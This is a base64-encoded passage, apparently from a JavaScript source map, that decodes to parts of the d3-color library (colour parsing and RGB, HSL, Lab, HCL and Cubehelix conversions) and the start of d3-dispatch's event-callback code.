KSB8IChtICYgMHhmKSwgMSkpIC8vICNmMDBcbiAgICAgIDogKG0gPSByZUhleDYuZXhlYyhmb3JtYXQpKSA/IHJnYm4ocGFyc2VJbnQobVsxXSwgMTYpKSAvLyAjZmYwMDAwXG4gICAgICA6IChtID0gcmVSZ2JJbnRlZ2VyLmV4ZWMoZm9ybWF0KSkgPyBuZXcgUmdiKG1bMV0sIG1bMl0sIG1bM10sIDEpIC8vIHJnYigyNTUsIDAsIDApXG4gICAgICA6IChtID0gcmVSZ2JQZXJjZW50LmV4ZWMoZm9ybWF0KSkgPyBuZXcgUmdiKG1bMV0gKiAyNTUgLyAxMDAsIG1bMl0gKiAyNTUgLyAxMDAsIG1bM10gKiAyNTUgLyAxMDAsIDEpIC8vIHJnYigxMDAlLCAwJSwgMCUpXG4gICAgICA6IChtID0gcmVSZ2JhSW50ZWdlci5leGVjKGZvcm1hdCkpID8gcmdiYShtWzFdLCBtWzJdLCBtWzNdLCBtWzRdKSAvLyByZ2JhKDI1NSwgMCwgMCwgMSlcbiAgICAgIDogKG0gPSByZVJnYmFQZXJjZW50LmV4ZWMoZm9ybWF0KSkgPyByZ2JhKG1bMV0gKiAyNTUgLyAxMDAsIG1bMl0gKiAyNTUgLyAxMDAsIG1bM10gKiAyNTUgLyAxMDAsIG1bNF0pIC8vIHJnYigxMDAlLCAwJSwgMCUsIDEpXG4gICAgICA6IChtID0gcmVIc2xQZXJjZW50LmV4ZWMoZm9ybWF0KSkgPyBoc2xhKG1bMV0sIG1bMl0gLyAxMDAsIG1bM10gLyAxMDAsIDEpIC8vIGhzbCgxMjAsIDUwJSwgNTAlKVxuICAgICAgOiAobSA9IHJlSHNsYVBlcmNlbnQuZXhlYyhmb3JtYXQpKSA/IGhzbGEobVsxXSwgbVsyXSAvIDEwMCwgbVszXSAvIDEwMCwgbVs0XSkgLy8gaHNsYSgxMjAsIDUwJSwgNTAlLCAxKVxuICAgICAgOiBuYW1lZC5oYXNPd25Qcm9wZXJ0eShmb3JtYXQpID8gcmdibihuYW1lZFtmb3JtYXRdKVxuICAgICAgOiBmb3JtYXQgPT09IFwidHJhbnNwYXJlbnRcIiA/IG5ldyBSZ2IoTmFOLCBOYU4sIE5hTiwgMClcbiAgICAgIDogbnVsbDtcbn1cblxuZnVuY3Rpb24gcmdibihuKSB7XG4gIHJldHVybiBuZXcgUmdiKG4gPj4gMTYgJiAweGZmLCBuID4+IDggJiAweGZmLCBuICYgMHhmZiwgMSk7XG59XG5cbmZ1bmN0aW9uIHJnYmEociwgZywgYiwgYSkge1xuICBpZiAoYSA8PSAwKSByID0gZyA9IGIgPSBOYU47XG4gIHJldHVybiBuZXcgUmdiKHIsIGcsIGIsIGEpO1xufVxuXG5mdW5jdGlvbiByZ2JDb252ZXJ0KG8pIHtcbiAgaWYgKCEobyBpbnN0YW5jZW9mIENvbG9yKSkgbyA9IGNvbG9yKG8pO1xuICBpZiAoIW8pIHJldHVybiBuZXcgUmdiO1xuICBvID0gby5yZ2IoKTtcbiAgcmV0dXJuIG5ldyBSZ2Ioby5yLCBvLmcsIG8uYiwgby5vcGFjaXR5KTtcbn1cblxuZnVuY3Rpb24gcmdiKHIsIGcsIGIsIG9wYWNpdHkpIHtcbiAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPT09IDEgPyByZ2JDb252ZXJ0KHIpIDogbmV3IFJnYihyLCBnLCBiLCBvcGFjaXR5ID09IG51bGwgPyAxIDogb3BhY2l0eSk7XG59XG5cbmZ1bmN0aW9uIFJnYihyLCBnLCBiLCBvcGFjaXR5KSB7XG4gIHRoaXMuciA9ICtyO1xuICB0aGlzLmcgPSArZztcbiAgdGhpcy5iID0gK2I7XG4gIHRoaXMub3BhY2l0eSA9ICtvcGFjaXR5O1xufVxuXG5kZWZpbmUoUmdiLCByZ2IsIGV4dGVuZChDb2xvciwge1xuICBicmlnaHRlcjogZnVuY3Rpb24oaykge1xuICAgIGsgPSBrID09IG51bGwgPyBicmlnaHRlciA6IE1hdGgucG93KGJyaWdodGVyLCBrKTtcbiAgICByZXR1cm4gbmV3IFJnYih0aGlzLnIgKiBrLCB0aGlzLmcgKiBrLCB0aGlzLmIgKiBrLCB0aGlzLm9wYWNpdHkpO1xuICB9LFxuICBkYXJrZXI6IGZ1bmN0aW9uKGspIHtcbiAgICBrID0gayA9PSBudWxsID8gZGFya2VyIDogTWF0aC5wb3coZGFya2VyLCBrKTtcbiAgICByZXR1cm4gbmV3IFJnYih0aGlzLnIgKiBrLCB0aGlzLmcgKiBrLCB0aGlzLmIgKiBrLCB0aGlzLm9wYWNpdHkpO1xuICB9LFxuICByZ2I6IGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiB0aGlzO1xuICB9LFxuICBkaXNwbGF5YWJsZTogZnVuY3Rpb24oKSB7XG4gICAgcmV0dXJuICgwIDw9IHRoaXMuciAmJiB0aGlzLnIgPD0gMjU1KVxuICAgICAgICAmJiAoMCA8PSB0aGlzLmcgJiYgdGhpcy5nIDw9IDI1NSlcbiAgICAgICAgJiYgKDAgPD0gdGhpcy5iICYmIHRoaXMuYiA8PSAyNTUpXG4gICAgICAgICYmICgwIDw9IHRoaXMub3BhY2l0eSAmJiB0aGlzLm9wYWNpdHkgPD0gMSk7XG4gIH0sXG4gIHRvU3RyaW5nOiBmdW5jdGlvbigpIHtcbiAgICB2YXIgYSA9IHRoaXMub3BhY2l0eTsgYSA9IGlzTmFOKGEpID8gMSA6IE1hdGgubWF4KDAsIE1hdGgubWluKDEsIGEpKTtcbiAgICByZXR1cm4gKGEgPT09IDEgPyBcInJnYihcIiA6IFwicmdiYShcIilcbiAgICAgICAgKyBNYXRoLm1heCgwLCBNYXRoLm1pbigyNTUsIE1hdGgucm91bmQodGhpcy5yKSB8fCAwKSkgKyBcIiwgXCJcbiAgICAgICAgKyBNYXRoLm1heCgwLCBNYXRoLm1pbigyNTUsIE1hdGgucm91bmQodGhpcy5nKSB8fCAwKSkgKyBcIiwgXCJcbiAgICAgICAgKyBNYXRoLm1heCgwLCBNYXRoLm1pbigyNTUsIE1hdGgucm91bmQodGhpcy5iKSB8fCAwKSlcbiAgICAgICAgKyAoYSA9PT0gMSA/IFwiKVwiIDogXCIsIFwiICsgYSArIFwiKVwiKTtcbiAgfVxufSkpO1xuXG5mdW5jdGlvbiBoc2xhKGgsIHMsIGwsIGEpIHtcbiAgaWYgKGEgPD0gMCkgaCA9IHMgPSBsID0gTmFOO1xuICBlbHNlIGlmIChsIDw9IDAgfHwgbCA+PSAxKSBoID0gcyA9IE5hTjtcbiAgZWxzZSBpZiAocyA8PSAwKSBoID0gTmFOO1xuICByZXR1cm4gbmV3IEhzbChoLCBzLCBsLCBhKTtcbn1cblxuZnVuY3Rpb24gaHNsQ29udmVydChvKSB7XG4gIGlmIChvIGluc3RhbmNlb2YgSHNsKSByZXR1cm4gbmV3IEhzbChvLmgsIG8ucywgby5sLCBvLm9wYWNpdHkpO1xuICBpZiAoIShvIGluc3RhbmNlb2YgQ29sb3IpKSBvID0gY29sb3Iobyk7XG4gIGlmICghbykgcmV0dXJuIG5ldyBIc2w7XG4gIGlmIChvIGluc3RhbmNlb2YgSHNsKSByZXR1cm4gbztcbiAgbyA9IG8ucmdiKCk7XG4gIHZhciByID0gby5yIC8gMjU1LFxuICAgICAgZyA9IG8uZyAvIDI1NSxcbiAgICAgIGIgPSBvLmIgLyAyNTUsXG4gICAgICBtaW4gPSBNYXRoLm1pbihyLCBnLCBiKSxcbiAgICAgIG1heCA9IE1hdGgubWF4KHIsIGcsIGIpLFxuICAgICAgaCA9IE5hTixcbiAgICAgIHMgPSBtYXggLSBtaW4sXG4gICAgICBsID0gKG1heCArIG1pbikgLyAyO1xuICBpZiAocykge1xuICAgIGlmIChyID09PSBtYXgpIGggPSAoZyAtIGIpIC8gcyArIChnIDwgYikgKiA2O1xuICAgIGVsc2UgaWYgKGcgPT09IG1heCkgaCA9IChiIC0gcikgLyBzICsgMjtcbiAgICBlbHNlIGggPSAociAtIGcpIC8gcyArIDQ7XG4gICAgcyAvPSBsIDwgMC41ID8gbWF4ICsgbWluIDogMiAtIG1heCAtIG1pbjtcbiAgICBoICo9IDYwO1xuICB9IGVsc2Uge1xuICAgIHMgPSBsID4gMCAmJiBsIDwgMSA/IDAgOiBoO1xuICB9XG4gIHJldHVybiBuZXcgSHNsKGgsIHMsIGwsIG8ub3BhY2l0eSk7XG59XG5cbmZ1bmN0aW9uIGhzbChoLCBzLCBsLCBvcGFjaXR5KSB7XG4gIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID09PSAxID8gaHNsQ29udmVydChoKSA6IG5ldyBIc2woaCwgcywgbCwgb3BhY2l0eSA9PSBudWxsID8gMSA6IG9wYWNpdHkpO1xufVxuXG5mdW5jdGlvbiBIc2woaCwgcywgbCwgb3BhY2l0eSkge1xuICB0aGlzLmggPSAraDtcbiAgdGhpcy5zID0gK3M7XG4gIHRoaXMubCA9ICtsO1xuICB0aGlzLm9wYWNpdHkgPSArb3BhY2l0eTtcbn1cblxuZGVmaW5lKEhzbCwgaHNsLCBleHRlbmQoQ29sb3IsIHtcbiAgYnJpZ2h0ZXI6IGZ1bmN0aW9uKGspIHtcbiAgICBrID0gayA9PSBudWxsID8gYnJpZ2h0ZXIgOiBNYXRoLnBvdyhicmlnaHRlciwgayk7XG4gICAgcmV0dXJuIG5ldyBIc2wodGhpcy5oLCB0aGlzLnMsIHRoaXMubCAqIGssIHRoaXMub3BhY2l0eSk7XG4gIH0sXG4gIGRhcmtlcjogZnVuY3Rpb24oaykge1xuICAgIGsgPSBrID09IG51bGwgPyBkYXJrZXIgOiBNYXRoLnBvdyhkYXJrZXIsIGspO1xuICAgIHJldHVybiBuZXcgSHNsKHRoaXMuaCwgdGhpcy5zLCB0aGlzLmwgKiBrLCB0aGlzLm9wYWNpdHkpO1xuICB9LFxuICByZ2I6IGZ1bmN0aW9uKCkge1xuICAgIHZhciBoID0gdGhpcy5oICUgMzYwICsgKHRoaXMuaCA8IDApICogMzYwLFxuICAgICAgICBzID0gaXNOYU4oaCkgfHwgaXNOYU4odGhpcy5zKSA/IDAgOiB0aGlzLnMsXG4gICAgICAgIGwgPSB0aGlzLmwsXG4gICAgICAgIG0yID0gbCArIChsIDwgMC41ID8gbCA6IDEgLSBsKSAqIHMsXG4gICAgICAgIG0xID0gMiAqIGwgLSBtMjtcbiAgICByZXR1cm4gbmV3IFJnYihcbiAgICAgIGhzbDJyZ2IoaCA+PSAyNDAgPyBoIC0gMjQwIDogaCArIDEyMCwgbTEsIG0yKSxcbiAgICAgIGhzbDJyZ2IoaCwgbTEsIG0yKSxcbiAgICAgIGhzbDJyZ2IoaCA8IDEyMCA/IGggKyAyNDAgOiBoIC0gMTIwLCBtMSwgbTIpLFxuICAgICAgdGhpcy5vcGFjaXR5XG4gICAgKTtcbiAgfSxcbiAgZGlzcGxheWFibGU6IGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiAoMCA8PSB0aGlzLnMgJiYgdGhpcy5zIDw9IDEgfHwgaXNOYU4odGhpcy5zKSlcbiAgICAgICAgJiYgKDAgPD0gdGhpcy5sICYmIHRoaXMubCA8PSAxKVxuICAgICAgICAmJiAoMCA8PSB0aGlzLm9wYWNpdHkgJiYgdGhpcy5vcGFjaXR5IDw9IDEpO1xuICB9XG59KSk7XG5cbi8qIEZyb20gRnZEIDEzLjM3LCBDU1MgQ29sb3IgTW9kdWxlIExldmVsIDMgKi9cbmZ1bmN0aW9uIGhzbDJyZ2IoaCwgbTEsIG0yKSB7XG4gIHJldHVybiAoaCA8IDYwID8gbTEgKyAobTIgLSBtMSkgKiBoIC8gNjBcbiAgICAgIDogaCA8IDE4MCA/IG0yXG4gICAgICA6IGggPCAyNDAgPyBtMSArIChtMiAtIG0xKSAqICgyNDAgLSBoKSAvIDYwXG4gICAgICA6IG0xKSAqIDI1NTtcbn1cblxudmFyIGRlZzJyYWQgPSBNYXRoLlBJIC8gMTgwO1xudmFyIHJhZDJkZWcgPSAxODAgLyBNYXRoLlBJO1xuXG52YXIgS24gPSAxODtcbnZhciBYbiA9IDAuOTUwNDcwO1xudmFyIFluID0gMTtcbnZhciBabiA9IDEuMDg4ODMwO1xudmFyIHQwID0gNCAvIDI5O1xudmFyIHQxID0gNiAvIDI5O1xudmFyIHQyID0gMyAqIHQxICogdDE7XG52YXIgdDMgPSB0MSAqIHQxICogdDE7XG5cbmZ1bmN0aW9uIGxhYkNvbnZlcnQobykge1xuICBpZiAobyBpbnN0YW5jZW9mIExhYikgcmV0dXJuIG5ldyBMYWIoby5sLCBvLmEsIG8uYiwgby5vcGFjaXR5KTtcbiAgaWYgKG8gaW5zdGFuY2VvZiBIY2wpIHtcbiAgICB2YXIgaCA9IG8uaCAqIGRlZzJyYWQ7XG4gICAgcmV0dXJuIG5ldyBMYWIoby5sLCBNYXRoLmNvcyhoKSAqIG8uYywgTWF0aC5zaW4oaCkgKiBvLmMsIG8ub3BhY2l0eSk7XG4gIH1cbiAgaWYgKCEobyBpbnN0YW5jZW9mIFJnYikpIG8gPSByZ2JDb252ZXJ0KG8pO1xuICB2YXIgYiA9IHJnYjJ4eXooby5yKSxcbiAgICAgIGEgPSByZ2IyeHl6KG8uZyksXG4gICAgICBsID0gcmdiMnh5eihvLmIpLFxuICAgICAgeCA9IHh5ejJsYWIoKDAuNDEyNDU2NCAqIGIgKyAwLjM1NzU3NjEgKiBhICsgMC4xODA0Mzc1ICogbCkgLyBYbiksXG4gICAgICB5ID0geHl6MmxhYigoMC4yMTI2NzI5ICogYiArIDAuNzE1MTUyMiAqIGEgKyAwLjA3MjE3NTAgKiBsKSAvIFluKSxcbiAgICAgIHogPSB4eXoybGFiKCgwLjAxOTMzMzkgKiBiICsgMC4xMTkxOTIwICogYSArIDAuOTUwMzA0MSAqIGwpIC8gWm4pO1xuICByZXR1cm4gbmV3IExhYigxMTYgKiB5IC0gMTYsIDUwMCAqICh4IC0geSksIDIwMCAqICh5IC0geiksIG8ub3BhY2l0eSk7XG59XG5cbmZ1bmN0aW9uIGxhYihsLCBhLCBiLCBvcGFjaXR5KSB7XG4gIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID09PSAxID8gbGFiQ29udmVydChsKSA6IG5ldyBMYWIobCwgYSwgYiwgb3BhY2l0eSA9PSBudWxsID8gMSA6IG9wYWNpdHkpO1xufVxuXG5mdW5jdGlvbiBMYWIobCwgYSwgYiwgb3BhY2l0eSkge1xuICB0aGlzLmwgPSArbDtcbiAgdGhpcy5hID0gK2E7XG4gIHRoaXMuYiA9ICtiO1xuICB0aGlzLm9wYWNpdHkgPSArb3BhY2l0eTtcbn1cblxuZGVmaW5lKExhYiwgbGFiLCBleHRlbmQoQ29sb3IsIHtcbiAgYnJpZ2h0ZXI6IGZ1bmN0aW9uKGspIHtcbiAgICByZXR1cm4gbmV3IExhYih0aGlzLmwgKyBLbiAqIChrID09IG51bGwgPyAxIDogayksIHRoaXMuYSwgdGhpcy5iLCB0aGlzLm9wYWNpdHkpO1xuICB9LFxuICBkYXJrZXI6IGZ1bmN0aW9uKGspIHtcbiAgICByZXR1cm4gbmV3IExhYih0aGlzLmwgLSBLbiAqIChrID09IG51bGwgPyAxIDogayksIHRoaXMuYSwgdGhpcy5iLCB0aGlzLm9wYWNpdHkpO1xuICB9LFxuICByZ2I6IGZ1bmN0aW9uKCkge1xuICAgIHZhciB5ID0gKHRoaXMubCArIDE2KSAvIDExNixcbiAgICAgICAgeCA9IGlzTmFOKHRoaXMuYSkgPyB5IDogeSArIHRoaXMuYSAvIDUwMCxcbiAgICAgICAgeiA9IGlzTmFOKHRoaXMuYikgPyB5IDogeSAtIHRoaXMuYiAvIDIwMDtcbiAgICB5ID0gWW4gKiBsYWIyeHl6KHkpO1xuICAgIHggPSBYbiAqIGxhYjJ4eXooeCk7XG4gICAgeiA9IFpuICogbGFiMnh5eih6KTtcbiAgICByZXR1cm4gbmV3IFJnYihcbiAgICAgIHh5ejJyZ2IoIDMuMjQwNDU0MiAqIHggLSAxLjUzNzEzODUgKiB5IC0gMC40OTg1MzE0ICogeiksIC8vIEQ2NSAtPiBzUkdCXG4gICAgICB4eXoycmdiKC0wLjk2OTI2NjAgKiB4ICsgMS44NzYwMTA4ICogeSArIDAuMDQxNTU2MCAqIHopLFxuICAgICAgeHl6MnJnYiggMC4wNTU2NDM0ICogeCAtIDAuMjA0MDI1OSAqIHkgKyAxLjA1NzIyNTIgKiB6KSxcbiAgICAgIHRoaXMub3BhY2l0eVxuICAgICk7XG4gIH1cbn0pKTtcblxuZnVuY3Rpb24geHl6MmxhYih0KSB7XG4gIHJldHVybiB0ID4gdDMgPyBNYXRoLnBvdyh0LCAxIC8gMykgOiB0IC8gdDIgKyB0MDtcbn1cblxuZnVuY3Rpb24gbGFiMnh5eih0KSB7XG4gIHJldHVybiB0ID4gdDEgPyB0ICogdCAqIHQgOiB0MiAqICh0IC0gdDApO1xufVxuXG5mdW5jdGlvbiB4eXoycmdiKHgpIHtcbiAgcmV0dXJuIDI1NSAqICh4IDw9IDAuMDAzMTMwOCA/IDEyLjkyICogeCA6IDEuMDU1ICogTWF0aC5wb3coeCwgMSAvIDIuNCkgLSAwLjA1NSk7XG59XG5cbmZ1bmN0aW9uIHJnYjJ4eXooeCkge1xuICByZXR1cm4gKHggLz0gMjU1KSA8PSAwLjA0MDQ1ID8geCAvIDEyLjkyIDogTWF0aC5wb3coKHggKyAwLjA1NSkgLyAxLjA1NSwgMi40KTtcbn1cblxuZnVuY3Rpb24gaGNsQ29udmVydChvKSB7XG4gIGlmIChvIGluc3RhbmNlb2YgSGNsKSByZXR1cm4gbmV3IEhjbChvLmgsIG8uYywgby5sLCBvLm9wYWNpdHkpO1xuICBpZiAoIShvIGluc3RhbmNlb2YgTGFiKSkgbyA9IGxhYkNvbnZlcnQobyk7XG4gIHZhciBoID0gTWF0aC5hdGFuMihvLmIsIG8uYSkgKiByYWQyZGVnO1xuICByZXR1cm4gbmV3IEhjbChoIDwgMCA/IGggKyAzNjAgOiBoLCBNYXRoLnNxcnQoby5hICogby5hICsgby5iICogby5iKSwgby5sLCBvLm9wYWNpdHkpO1xufVxuXG5mdW5jdGlvbiBoY2woaCwgYywgbCwgb3BhY2l0eSkge1xuICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA9PT0gMSA/IGhjbENvbnZlcnQoaCkgOiBuZXcgSGNsKGgsIGMsIGwsIG9wYWNpdHkgPT0gbnVsbCA/IDEgOiBvcGFjaXR5KTtcbn1cblxuZnVuY3Rpb24gSGNsKGgsIGMsIGwsIG9wYWNpdHkpIHtcbiAgdGhpcy5oID0gK2g7XG4gIHRoaXMuYyA9ICtjO1xuICB0aGlzLmwgPSArbDtcbiAgdGhpcy5vcGFjaXR5ID0gK29wYWNpdHk7XG59XG5cbmRlZmluZShIY2wsIGhjbCwgZXh0ZW5kKENvbG9yLCB7XG4gIGJyaWdodGVyOiBmdW5jdGlvbihrKSB7XG4gICAgcmV0dXJuIG5ldyBIY2wodGhpcy5oLCB0aGlzLmMsIHRoaXMubCArIEtuICogKGsgPT0gbnVsbCA/IDEgOiBrKSwgdGhpcy5vcGFjaXR5KTtcbiAgfSxcbiAgZGFya2VyOiBmdW5jdGlvbihrKSB7XG4gICAgcmV0dXJuIG5ldyBIY2wodGhpcy5oLCB0aGlzLmMsIHRoaXMubCAtIEtuICogKGsgPT0gbnVsbCA/IDEgOiBrKSwgdGhpcy5vcGFjaXR5KTtcbiAgfSxcbiAgcmdiOiBmdW5jdGlvbigpIHtcbiAgICByZXR1cm4gbGFiQ29udmVydCh0aGlzKS5yZ2IoKTtcbiAgfVxufSkpO1xuXG52YXIgQSA9IC0wLjE0ODYxO1xudmFyIEIgPSArMS43ODI3NztcbnZhciBDID0gLTAuMjkyMjc7XG52YXIgRCA9IC0wLjkwNjQ5O1xudmFyIEUgPSArMS45NzI5NDtcbnZhciBFRCA9IEUgKiBEO1xudmFyIEVCID0gRSAqIEI7XG52YXIgQkNfREEgPSBCICogQyAtIEQgKiBBO1xuXG5mdW5jdGlvbiBjdWJlaGVsaXhDb252ZXJ0KG8pIHtcbiAgaWYgKG8gaW5zdGFuY2VvZiBDdWJlaGVsaXgpIHJldHVybiBuZXcgQ3ViZWhlbGl4KG8uaCwgby5zLCBvLmwsIG8ub3BhY2l0eSk7XG4gIGlmICghKG8gaW5zdGFuY2VvZiBSZ2IpKSBvID0gcmdiQ29udmVydChvKTtcbiAgdmFyIHIgPSBvLnIgLyAyNTUsXG4gICAgICBnID0gby5nIC8gMjU1LFxuICAgICAgYiA9IG8uYiAvIDI1NSxcbiAgICAgIGwgPSAoQkNfREEgKiBiICsgRUQgKiByIC0gRUIgKiBnKSAvIChCQ19EQSArIEVEIC0gRUIpLFxuICAgICAgYmwgPSBiIC0gbCxcbiAgICAgIGsgPSAoRSAqIChnIC0gbCkgLSBDICogYmwpIC8gRCxcbiAgICAgIHMgPSBNYXRoLnNxcnQoayAqIGsgKyBibCAqIGJsKSAvIChFICogbCAqICgxIC0gbCkpLCAvLyBOYU4gaWYgbD0wIG9yIGw9MVxuICAgICAgaCA9IHMgPyBNYXRoLmF0YW4yKGssIGJsKSAqIHJhZDJkZWcgLSAxMjAgOiBOYU47XG4gIHJldHVybiBuZXcgQ3ViZWhlbGl4KGggPCAwID8gaCArIDM2MCA6IGgsIHMsIGwsIG8ub3BhY2l0eSk7XG59XG5cbmZ1bmN0aW9uIGN1YmVoZWxpeChoLCBzLCBsLCBvcGFjaXR5KSB7XG4gIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID09PSAxID8gY3ViZWhlbGl4Q29udmVydChoKSA6IG5ldyBDdWJlaGVsaXgoaCwgcywgbCwgb3BhY2l0eSA9PSBudWxsID8gMSA6IG9wYWNpdHkpO1xufVxuXG5mdW5jdGlvbiBDdWJlaGVsaXgoaCwgcywgbCwgb3BhY2l0eSkge1xuICB0aGlzLmggPSAraDtcbiAgdGhpcy5zID0gK3M7XG4gIHRoaXMubCA9ICtsO1xuICB0aGlzLm9wYWNpdHkgPSArb3BhY2l0eTtcbn1cblxuZGVmaW5lKEN1YmVoZWxpeCwgY3ViZWhlbGl4LCBleHRlbmQoQ29sb3IsIHtcbiAgYnJpZ2h0ZXI6IGZ1bmN0aW9uKGspIHtcbiAgICBrID0gayA9PSBudWxsID8gYnJpZ2h0ZXIgOiBNYXRoLnBvdyhicmlnaHRlciwgayk7XG4gICAgcmV0dXJuIG5ldyBDdWJlaGVsaXgodGhpcy5oLCB0aGlzLnMsIHRoaXMubCAqIGssIHRoaXMub3BhY2l0eSk7XG4gIH0sXG4gIGRhcmtlcjogZnVuY3Rpb24oaykge1xuICAgIGsgPSBrID09IG51bGwgPyBkYXJrZXIgOiBNYXRoLnBvdyhkYXJrZXIsIGspO1xuICAgIHJldHVybiBuZXcgQ3ViZWhlbGl4KHRoaXMuaCwgdGhpcy5zLCB0aGlzLmwgKiBrLCB0aGlzLm9wYWNpdHkpO1xuICB9LFxuICByZ2I6IGZ1bmN0aW9uKCkge1xuICAgIHZhciBoID0gaXNOYU4odGhpcy5oKSA/IDAgOiAodGhpcy5oICsgMTIwKSAqIGRlZzJyYWQsXG4gICAgICAgIGwgPSArdGhpcy5sLFxuICAgICAgICBhID0gaXNOYU4odGhpcy5zKSA/IDAgOiB0aGlzLnMgKiBsICogKDEgLSBsKSxcbiAgICAgICAgY29zaCA9IE1hdGguY29zKGgpLFxuICAgICAgICBzaW5oID0gTWF0aC5zaW4oaCk7XG4gICAgcmV0dXJuIG5ldyBSZ2IoXG4gICAgICAyNTUgKiAobCArIGEgKiAoQSAqIGNvc2ggKyBCICogc2luaCkpLFxuICAgICAgMjU1ICogKGwgKyBhICogKEMgKiBjb3NoICsgRCAqIHNpbmgpKSxcbiAgICAgIDI1NSAqIChsICsgYSAqIChFICogY29zaCkpLFxuICAgICAgdGhpcy5vcGFjaXR5XG4gICAgKTtcbiAgfVxufSkpO1xuXG5leHBvcnRzLmNvbG9yID0gY29sb3I7XG5leHBvcnRzLnJnYiA9IHJnYjtcbmV4cG9ydHMuaHNsID0gaHNsO1xuZXhwb3J0cy5sYWIgPSBsYWI7XG5leHBvcnRzLmhjbCA9IGhjbDtcbmV4cG9ydHMuY3ViZWhlbGl4ID0gY3ViZWhlbGl4O1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7IHZhbHVlOiB0cnVlIH0pO1xuXG59KSkpO1xuIiwiLy8gaHR0cHM6Ly9kM2pzLm9yZy9kMy1kaXNwYXRjaC8gVmVyc2lvbiAxLjAuMS4gQ29weXJpZ2h0IDIwMTYgTWlrZSBCb3N0b2NrLlxuKGZ1bmN0aW9uIChnbG9iYWwsIGZhY3RvcnkpIHtcbiAgdHlwZW9mIGV4cG9ydHMgPT09ICdvYmplY3QnICYmIHR5cGVvZiBtb2R1bGUgIT09ICd1bmRlZmluZWQnID8gZmFjdG9yeShleHBvcnRzKSA6XG4gIHR5cGVvZiBkZWZpbmUgPT09ICdmdW5jdGlvbicgJiYgZGVmaW5lLmFtZCA/IGRlZmluZShbJ2V4cG9ydHMnXSwgZmFjdG9yeSkgOlxuICAoZmFjdG9yeSgoZ2xvYmFsLmQzID0gZ2xvYmFsLmQzIHx8IHt9KSkpO1xufSh0aGlzLCBmdW5jdGlvbiAoZXhwb3J0cykgeyAndXNlIHN0cmljdCc7XG5cbiAgdmFyIG5vb3AgPSB7dmFsdWU6IGZ1bmN0aW9uKCkge319O1xuXG4gIGZ1bmN0aW9uIGRpc3BhdGNoKCkge1xuICAgIGZvciAodmFyIGkgPSAwLCBuID0gYXJndW1lbnRzLmxlbmd0aCwgXyA9IHt9LCB0OyBpIDwgbjsgKytpKSB7XG4gICAgICBpZiAoISh0ID0gYXJndW1lbnRzW2ldICsgXCJcIikgfHwgKHQgaW4gXykpIHRocm93IG5ldyBFcnJvcihcImlsbGVnYWwgdHlwZTogXCIgKyB0KTtcbiAgICAgIF9bdF0gPSBbXTtcbiAgICB9XG4gICAgcmV0dXJuIG5ldyBEaXNwYXRjaChfKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIERpc3BhdGNoKF8pIHtcbiAgICB0aGlzLl8gPSBfO1xuICB9XG5cbiAgZnVuY3Rpb24gcGFyc2VUeXBlbmFtZXModHlwZW5hbWVzLCB0eXBlcykge1xuICAgIHJldHVybiB0eXBlbmFtZXMudHJpbSgpLnNwbGl0KC9efFxccysvKS5tYXAoZnVuY3Rpb24odCkge1xuICAgICAgdmFyIG5hbWUgPSBcIlwiLCBpID0gdC5pbmRleE9mKFwiLlwiKTtcbiAgICAgIGlmIChpID49IDApIG5hbWUgPSB0LnNsaWNlKGkgKyAxKSwgdCA9IHQuc2xpY2UoMCwgaSk7XG4gICAgICBpZiAodCAmJiAhdHlwZXMuaGFzT3duUHJvcGVydHkodCkpIHRocm93IG5ldyBFcnJvcihcInVua25vd24gdHlwZTogXCIgKyB0KTtcbiAgICAgIHJldHVybiB7dHlwZTogdCwgbmFtZTogbmFtZX07XG4gICAgfSk7XG4gIH1cblxuICBEaXNwYXRjaC5wcm90b3R5cGUgPSBkaXNwYXRjaC5wcm90b3R5cGUgPSB7XG4gICAgY29uc3RydWN0b3I6IERpc3BhdGNoLFxuICAgIG9uOiBmdW5jdGlvbih0eXBlbmFtZSwgY2FsbGJhY2spIHtcbiAgICAgIHZhciBfID0gdGhpcy5fLFxuICAgICAgICAgIFQgPSBwYXJzZVR5cGVuYW1lcyh0eXBlbmFtZSArIFwiXCIsIF8pLFxuICAgICAgICAgIHQsXG4gICAgICAgICAgaSA9IC0xLFxuICAgICAgICAgIG4gPSBULmxlbmd0aDtcblxuICAgICAgLy8gSWYgbm8gY2FsbGJhY2sgd2FzIHNwZWNpZmllZCwgcmV0dXJuIHRoZSBjYWxsYmFjayBvZiB0aGUgZ2l2ZW4gdHlwZSBhbmQgbmFtZS5cbiAgICAgIGlmIChhcmd1bWVudHMubGVuZ3RoIDwgMikge1xuICAgICAgICB3aGlsZSAoKytpIDwgbikgaWYgKCh0ID0gKHR5cGVuYW1lID0gVFtpXSkudHlwZSkgJiYgKHQgPSBnZXQoX1t0XSwgdHlwZW5hbWUubmFtZSkpKSByZXR1cm4gdDtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICAvLyBJZiBhIHR5cGUgd2FzIHNwZWNpZmllZCwgc2V0IHRoZSBjYWxsYmFjayBmb3IgdGhlIGdpdmVuIHR5cGUgYW5kIG5hbWUuXG4gICAgICAvLyBPdGhlcndpc2UsIGlmIGEgbnVsbCBjYWxsYmFjayB3YXMgc3BlY2lmaWVkLCByZW1vdmUgY2FsbGJhY2tzIG9mIHRoZSBnaXZlbiBuYW1lLlxuICAgICAgaWYgKGNhbGxiYWNrICE9IG51bGwgJiYgdHlwZW9mIGNhbGxiYWNrICE9PSBcImZ1bmN0aW9uXCIpIHRocm93IG5ldyBFcnJvcihcImludmFsaWQgY2FsbGJhY2s6IFwiICsgY2FsbGJhY2spO1xuICAgICAgd2hpbGUgKCsraSA8IG4pIHtcbiAgICAgICAgaWYgKHQgPSAodHlwZW5hbWUgPSBUW2ldKS50eXBlKSBfW3RdID0gc2V0KF9bdF0sIHR5cGVuYW1lLm5hbWUsIGNhbGxiYWNrKTtcbiAgICAgICAgZWxzZSBpZiAoY2FsbGJhY2sgPT0gbnVsbCkgZm9yICh0IGluIF8pIF9bdF0gPSBzZXQoX1t0XSwgdHlwZW5hbWUubmFtZSwgbnVsbCk7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH0sXG